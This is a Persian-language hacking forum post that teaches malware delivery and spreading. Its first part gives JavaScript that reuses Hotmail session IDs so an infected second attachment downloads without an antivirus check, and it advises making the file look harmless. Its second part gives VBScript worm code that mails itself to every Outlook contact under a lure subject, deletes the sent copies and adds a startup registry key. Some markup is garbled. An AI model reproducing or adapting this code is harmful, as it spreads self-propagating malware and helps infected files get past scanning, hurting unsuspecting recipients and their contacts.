گول زدن آنتي ويروس ايميل براي فرستادن فایل هک
گول زدن آنتي ويروس ايميل براي فرستادن فایل هک
مطلب زير رو امروز از آستالاويستا خوندم
چون جالب به نظرم اومد گفتم اينجا خلاصه شو بگم:
ايراد از اينجا ناشی ميشه كه تو آدرس-بار به آنتی ويروس اشاره ميشه.
برای اينكار نياز به دو فايل دارين كه دوميش آلوده است.
كد زير رو هم برا فايل اولی بنويسيد
<html>
<script>
str1=document.URL
str2=str1.slice(55,110)
splitString = str2.split("&")
str3=splitString[0]+"&"+splitString[1]
window.open('http://by7fd.bay7.hotmail.msn.com/cgi-bin/getmsg?curmbox=F000000001&a='+str3+'&mimepart=4')
SPAN <>SPAN>script>
SPAN <>SPAN>html>
اين كد باعث ميشه شما آنتيويروس رو دور بزنيد
وقتی طرف شما فايل اولی رو ميخواد دانلود كنه آنتی ويروس هات ميل اونو چك ميكنه.خوب بعد ميخواد دانلود بشه! ولی بصورت online باز ميشه و ession ID and message ID رو گير مياره. بعد پنجره جديدی باز ميشه كه به فايل دوم اشاره ميكنه ولی فايل دوم بدون چك شدن با آنتی ويروس شروع به دانلود ميشه. طرف شما می بينه فايل بدون اخطار آنتی ويروس از هات ميل داره دانلود ميشه.
اگه ظاهر فايل دوم هم شبيه فابل اولی باشه كمتر كسی ممكنه شك كنه
--------------------------------------------------------------------------------------------------- اموزش : برنامه خود را از طریق ادرس ایمیل دیگران در تمام جهان پخش کنید ( بدرد ویروس نو شما با استفاده از اتلوک اکسپرس می تونید برنامه به ویژه ویروس خودتون رو در سرار جهان پخش کنید این روشی که من الان می نویسم یکی از روش های پخش ویروس هاست ولی خوب با استفاده از این روش می تونید برنامه یا هرچی رو در تمام جهان پخش کنید Code: Set OutlookApp = CreateObject("Outlook.Application") اگه متوجه نشدید ناراحت نشید چون قرار نیست که همه متوجه بشن اگه این طوری باشه همه ملت ویروس نویس می شن فقط اونهای که تو این کار (ویروس نویسی ) هستن می دونن این کد چه ارزشی داره . در ضمن تا یادم نرفته اقا من ویروس نویس نیستم ( نکنه یه دفعه برام ویروس بفرستن حالم رو بگیرن ) من برای تفریح با این ویروس ها ور می رفتم ازشون یه چیز های یاد گرفتم Code: Set Reg = CreateObject("wscript.shell")
If Not OutlookApp = "" Then
For Each ContactSwitch In OutlookApp.GetNameSpace("MAPI").AddressLists
For UserGroup = 1 To ContactSwitch.AddressEntries.Count
Set OutlookEmail = OutlookApp.CreateItem(0)
OutlookEmail.Recipients.Add ContactSwitch.AddressEntries(UserGroup)
OutlookEmail.Subject = "Check this out!"
OutlookEmail.Body = "Look at the file in the attachments, It's great! :P"
OutlookEmail.Attachments.Add WScript.ScriptFullName
OutlookEmail.DeleteAfterSubmit = True
OutlookEmail.Send
Next
Next
End If
OutlookEmail.Subject = "Check this out!"
OutlookEmail.Body = "Look at the file in the attachments, It's great! :P"
OutlookEmail.Attachments.Add WScript.ScriptFullName
خوب چون این تاپیک به درد تازه کار ها هم خوره یه اموزش مقدماتی می دم که برای ویروس نویسی هم به کار می یاد
1)اجرای برنامه در استارتاپ:
با استفاده از کد زیر می تونید برنامه ای که می نویسید تو استارتاپ قرار بدید
Reg.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run \" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"